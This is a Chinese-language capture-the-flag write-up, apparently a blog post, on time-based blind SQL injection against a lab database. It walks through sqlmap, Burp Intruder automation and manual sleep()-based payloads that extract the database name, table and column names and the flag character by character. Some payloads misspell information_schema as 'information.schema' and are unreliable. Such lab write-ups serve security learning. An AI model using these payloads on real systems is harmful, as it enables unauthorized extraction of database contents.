sql注入的整型字符型注入,联合注入,报错注入以及布尔盲注可参考,往期。
https://blog.csdn.net/weixin_46954909/article/details/136262984?spm=1001.2014.3001.5502
(一)使用sqlmap进行注入。
检测出有时间盲注。
最好就可以得到flag了。
(二)利用burp实现半自动注入。
1.注入条件:
输入:1发现什么提示信息都没有,这就是典型的时间盲注,与布尔盲注不同的是,他什么提示都没有。
2.构造语句
1 and if(1=1,sleep(5),1)
1 and if(1=2,sleep(5),1)
爆数据库长:
1 and if(length(database())=4,sleep(5),1)
爆数据库名:
1 and if(ascii(substr(database(),1,1))=100,sleep(5),1)
爆表长:
1 and if((length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1),sleep(8),1)
爆表名
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=102,sleep(5),1)
爆列长:
1 and if((length((select column_name from information_schema.columns where table_name='flag' limit 0,1))=4),sleep(5),1)
爆列名:
1 and if((ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))=102),sleep(5),1)
爆数据长度:
1 and if((length((select flag from sqli.flag limit 0,1))=32),sleep(5),1)
爆数据库内容:
1 and if((ascii(substr((select flag from sqli.flag),1,1))=102),sleep(5),1)
注:爆前最好去确认一遍是否可行。
得到库名:sqli
表长为4,(这里我想引入一个知识关于判断有多少个表可以把table_name改为count(table_name)即可,小插曲无视即可)
得到表名:flag,根据此操作可以得到其他表的名字只需要修改黄色部分即可
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=102,sleep(5),1)
因为之前设置的payload不变所以不用管他直接start。
所以列名为:flag
所以长度为32
记得勾上最下面的这个
因为有可能会包含{}等。
最后将ascii码转为字母即可。注意这可能会有数字,所以一般从1开始到127这样基本万无一失。
或者更简单的。
然后加上{}和选择0-9,因为flag中一般是有{},数字的
然后组合就可以了,相较与手工还是比较快速的。
(三)时间盲注之手工注入(极不推荐)
1.注入类型判断:
输入:1发现什么提示信息都没有,这就是典型的时间盲注,与布尔盲注不同的是,他什么提示都没有。
2.构造注入语句。
1 and if(1=1,sleep(5),1)
1 and if(1=2,sleep(5),1)
然后确定可行性后就进行确定库名的长度。
1 and if(length(database())>1,sleep(5),1)
1 and if(length(database())=4,sleep(5),1)
之后确定长度开始爆库。
1 and if(ascii(substr(database(),1,1))>100,sleep(5),1)
1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)
1 and if(ascii(substr(database(),2,1))=113,sleep(5),1)
1 and if(ascii(substr(database(),3,1))=108,sleep(5),1)
1 and if(ascii(substr(database(),4,1))=105,sleep(5),1)
得到库名:sqli,开始爆表名的长度。
1 and if((length((select table_name from information.schema.tables where table_schema=database() limit 0,1))>1),sleep(5),1)
1 and if((length((select table_name from information.schema.tables where table_schema=database() limit 0,1))=4),sleep(5),1)
得到表名长为4
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))>100,sleep(5),1)
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=102,sleep(5),1)
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),2,1))=108,sleep(5),1)
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),3,1))=97,sleep(5),1)
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),4,1))=103,sleep(5),1)
得到表名:flag,开始爆列长度。
1 and if((length((select column_name from information.schema.columns where table_name='flag' limit 0,1))>1),sleep(5),1)
1 and if((length((select column_name from information.schema.columns where table_name='flag' limit 0,1))=4),sleep(5),1)
得到表长为4
1 and if((ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))>100,sleep(5),1)
1 and if((ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))=102,sleep(5),1)
1 and if((ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),2,1))=108,sleep(5),1)
1 and if((ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),3,1))=97,sleep(5),1)
1 and if((ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),4,1))=103,sleep(5),1)
得到列名:flag,最后爆信息。
1 and if((length((select flag from sqli.flag limit 0,1))>1),sleep(5),1)
1 and if((length((select flag from sqli.flag limit 0,1))=32),sleep(5),1)
然后可以知道长度为32
略。
如果1=1那么加载就延迟5s,否则就直接加载,这里如果想效果更明显能把5改为8.
略了测试长度
略。